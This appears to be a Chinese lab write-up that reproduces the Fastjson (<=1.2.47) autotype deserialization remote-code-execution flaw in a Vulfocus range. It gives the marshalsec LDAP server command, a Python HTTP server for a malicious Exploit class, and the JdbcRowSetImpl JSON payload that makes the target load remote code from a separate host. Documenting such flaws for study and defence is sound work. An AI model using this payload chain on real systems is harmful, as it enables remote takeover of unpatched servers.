Fastjson反序列化RCE漏洞

admin 2025年7月3日03:18:24评论0 views字数 1063阅读3分32秒阅读模式

0x00 漏洞描述

Fastjson 是一个 Java 库,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

Fastjson 提供了 autotype 功能,允许用户在反序列化数据中通过 “@type” 指定反序列化的类型;当组件开启了 autotype 功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定 setter 或者 getter 方法中,若指定类的指定方法中有可被恶意利用的逻辑,则会造成一些严重的安全问题。

payload 会利用 fastjson 的反序列化漏洞去指定的 rmi/ldap 服务进行远程方法调用若要进行远程命令执行则需先构造一个恶意的 rmi 或者 ldap ,在其中设定要执行的命令,之后利用 fastjson 反序列化漏洞去使用我们构造的 rmi/ldap,最终在 fastjson 服务器中执行我们在 rmi/ldap 中指定的命令,故该远程命令执行无法回显。

0x01 影响版本

Fastjson <= 1.2.47

0x02 环境搭建

Vulfocus集成的靶场环境

Fastjson反序列化RCE漏洞

0x03 漏洞检测

提交payload。

Fastjson反序列化RCE漏洞

检测结果,证明存在该漏洞。

Fastjson反序列化RCE漏洞

0x04 漏洞复现 

攻击机:192.168.204.138

靶机:192.168.204.146

含有恶意java类主机:192.168.204.149

原始tmp目录。

Fastjson反序列化RCE漏洞

编译Exploit.java。

Fastjson反序列化RCE漏洞

在该文件目录下,使用 python 搭建 web 环境,监听端口 8083

python -m http.server 8083
Fastjson反序列化RCE漏洞
Fastjson反序列化RCE漏洞

使用marshalsec工具,开启LDAP,监听9999端口 

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.204.149:8083/#Exploit 9999

使用BP抓包发送请求

更改网页头为POST,构造payload,发送

{  "a":{    "@type":"java.lang.Class",    "val":"com.sun.rowset.JdbcRowSetImpl"  },  "b":{    "@type":"com.sun.rowset.JdbcRowSetImpl",    "dataSourceName":"rmi://192.168.204.149:9999/Exploit",    "autoCommit":true  }}
Fastjson反序列化RCE漏洞

查看结果

Fastjson反序列化RCE漏洞

End

原文始发于微信公众号(NS Demon团队):Fastjson反序列化RCE漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月3日03:18:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson反序列化RCE漏洞https://cn-sec.com/archives/981518.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息